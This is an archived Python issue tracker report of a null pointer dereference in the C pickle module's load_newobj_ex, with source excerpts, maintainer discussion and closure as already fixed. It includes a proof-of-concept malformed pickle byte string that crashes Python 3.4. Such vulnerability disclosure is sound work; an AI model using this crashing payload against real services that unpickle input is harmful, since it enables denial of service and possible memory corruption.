This issue tracker has been migrated to GitHub, and is currently read-only.
For more information, see the GitHub FAQs in the Python's Developer Guide.

classification
Title: null pointer dereference in `load_newobj_ex`
Type: crash Stage: resolved
Components: Extension Modules Versions: Python 3.4
process
Status: closed Resolution: out of date
Dependencies: Superseder:
Assigned To: Nosy List: alexandre.vassalotti, benjamin.peterson, blarsen, pitrou, serhiy.storchaka
Priority: normal Keywords:

Created on 2015-07-14 02:16 by blarsen, last changed 2022-04-11 14:58 by admin. This issue is now closed.

Files
File name Uploaded Description Edit
bug.py blarsen, 2015-07-14 02:16 Proof of concept for the null pointer dereference
bug-nonnull.py blarsen, 2015-07-14 02:36 POC where `ob_type` of `cls` isn't NULL
Messages (7)
msg246710 - (view) Author: Brad Larsen (blarsen) * Date: 2015-07-14 02:16
`load_newobj_ex` in can crash with a null pointer dereference.


File Modules/_pickle.c:

    static int
    load_newobj_ex(UnpicklerObject *self)
    {
        PyObject *cls, *args, *kwargs;
        PyObject *obj;
        PickleState *st = _Pickle_GetGlobalState();

        // ...

        PDATA_POP(self->stack, cls);                              // *** 1 ***
        if (cls == NULL) {
            Py_DECREF(kwargs);
            Py_DECREF(args);
            return -1;
        }    
    
        if (!PyType_Check(cls)) {                                 // *** 2 ***
            Py_DECREF(kwargs);
            Py_DECREF(args);
            Py_DECREF(cls);
            PyErr_Format(st->UnpicklingError,
                         "NEWOBJ_EX class argument must be a type, not %.200s",
                         Py_TYPE(cls)->tp_name);                  // *** 3 ***
            return -1;
        }

        // ...
    }

1. `cls` is successfully unpickled, but has an ob_type field set to 0
2. `cls` is determined not to be a `PyType` object
3. `Py_TYPE(cls)` gives a null pointer that is dereferenced via `->tp_name`


Environment:

    $ python3.4 --version
    Python 3.4.2

    $ uname -a
    Linux debian-8-amd64 3.16.0-4-amd64 #1 SMP Debian 3.16.7-ckt9-3~deb8u1 (2015-04-24) x86_64 GNU/Linux


POC:

    from io import BytesIO
    from pickle import load
    
    payload = b']\x8f\x8f\x8f\x8f\x8f\x8f\x8f\x8fGGbG\x10GGGGGGG?GGGGGGG:gGGGGB(GRGGGGUGGGGGGhZGGGJGGGGGGGGGTGGGGGCGGGGGGGGgGG7GB(GRGGGGvGGGGG\xff\xff\x00\x00GGJGGGGGGGGGTGCCCCCCCCCCCCCCCCCCCCCCCC<GGGGGGZCCCCCCGGGGCGGGG\x00GGG\xff\xffdGG hGGGGGGG\x85\x85\x85\x85\x85\x85\x85\x85\x85\x85\x85\x85CCCCCCCCCCCCCCCCCCCCCC\x85\x91\x85\x85\x85\x85CCCC\xccCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC<GGGG\x92\x92\x92\x92\x04\x00\x92\x92\x92\x92\x92\x92\x92\x92\x92\x92\x92\x92\x92\x92\x92CCCCCCCCCCCC<GGGGGGCCC\x03\xe8CCCCCeCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC_CTCCCCCCCCCCCCCCCCCCCCCCCCRCCCCCCCCCCCCCCCCCCCGCCCCCC<GGGGGGCCCCCCCCCCCC\x80\x00CCCCCCCCC\x00\x80\x00\x00$CCCCCCCCCC,CCCC"CCCCCCCCCCCCCCCCCCCCCCCCGGGGGGGGCCCCCCCC\x00\x80\x00\x00$CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCBCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCBCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC hGGGCCCCCCCQCGCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCBCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCPCACCCCCCCCCCCCCCCCCCCCCCCcCCKCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC hGGGGCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC<GGGGGGCCCCCC\xa7\x85\x85\x85\x85\x85\x85\x85\x85\x85\x85\x85CCC$CCCCCCCCCCCCCCCCCCCCCCCC_CCCCCCCCCCCCCCCCCCCCCCCCCCC@CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC<GGGGGGZCCCCCCCCCCCCKCCCCCCGGGGGGGGG?GGGGGGGGgGGGGG\xeb\xeb\xebCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCQCGCCCcCCCCCCCCCC@CCCCCCCCCCCCCCC@CCCCCCCCCCCCCCCCC\x10\x00\x7fCCCCCGCC\x10\x00\x00\x00CCCCCCCCCCCCCCCCCBCCCCCCCCCCCCCCCCCCCCCC_CCCCCCCCCCCCCCCCCCCCCCCCCCCCCACCCCCCCCCCCCCCCCCCCCCCCCCCCBCCCCCCCCCCCCCCFCCCCCCCCCCCCCCCCCCCCCCCC\x00\x00\x00\x80CCCCCC\x85\x85\x85\x85\x85\x91\x85\x85b\x85\x85\x85\x85\x85\x85G\x00GhGGGGGGGGGGGG?GGFGGGGGgGGGGG\xeb\xeb\xeb\xeb\xeb\xeb\xeb\xeb'
    load(BytesIO(payload))
msg246711 - (view) Author: Brad Larsen (blarsen) * Date: 2015-07-14 02:17
Seems to be similar to #24552, but not the same problem.
msg246712 - (view) Author: Brad Larsen (blarsen) * Date: 2015-07-14 02:36
Also, it appears that the `ob_type` field of `cls` need not be NULL; it can be an arbitrary value treated as a memory location.

Attached another POC that triggers this case.
msg246714 - (view) Author: Serhiy Storchaka (serhiy.storchaka) * (Python committer) Date: 2015-07-14 04:30
Can't reproduce the crash with current sources. In both examples the result is an exception:

_pickle.UnpicklingError: NEWOBJ_EX class argument must be a type, not float

How an ob_type field of cls can be set to 0?
msg246734 - (view) Author: Brad Larsen (blarsen) * Date: 2015-07-14 16:54
Both test cases cause segfaults for me:
    (1) on 64-bit Python 3.4.3 built from source on Mac OS X
    (2) on the system 64-bit Python 3.4.3 from Debian "Jessie"

I do not see the segfaults with a 64-bit build of the latest sources (cpython `default` branch at 231bf0840f8f).  Instead, I see an unhandled `_pickle.UnpicklingError`.
msg246737 - (view) Author: Serhiy Storchaka (serhiy.storchaka) * (Python committer) Date: 2015-07-14 18:41
Likely this crash was fixed by issue24552 patch.
msg246809 - (view) Author: Brad Larsen (blarsen) * Date: 2015-07-16 16:45
Yeah, this appears to be fixed along with #24552.
History
Date User Action Args
2022-04-11 14:58:18adminsetgithub: 68818
2015-07-16 17:44:57serhiy.storchakasetstatus: pending -> closed
resolution: out of date
stage: resolved
2015-07-16 16:45:51blarsensetstatus: open -> pending

messages: + msg246809
2015-07-14 18:41:58serhiy.storchakasetnosy: + benjamin.peterson
messages: + msg246737
2015-07-14 16:54:03blarsensetstatus: pending -> open

messages: + msg246734
2015-07-14 04:30:18serhiy.storchakasetstatus: open -> pending
nosy: + alexandre.vassalotti, serhiy.storchaka, pitrou
messages: + msg246714

2015-07-14 02:36:15blarsensetfiles: + bug-nonnull.py

messages: + msg246712
2015-07-14 02:17:02blarsensetmessages: + msg246711
2015-07-14 02:16:18blarsencreate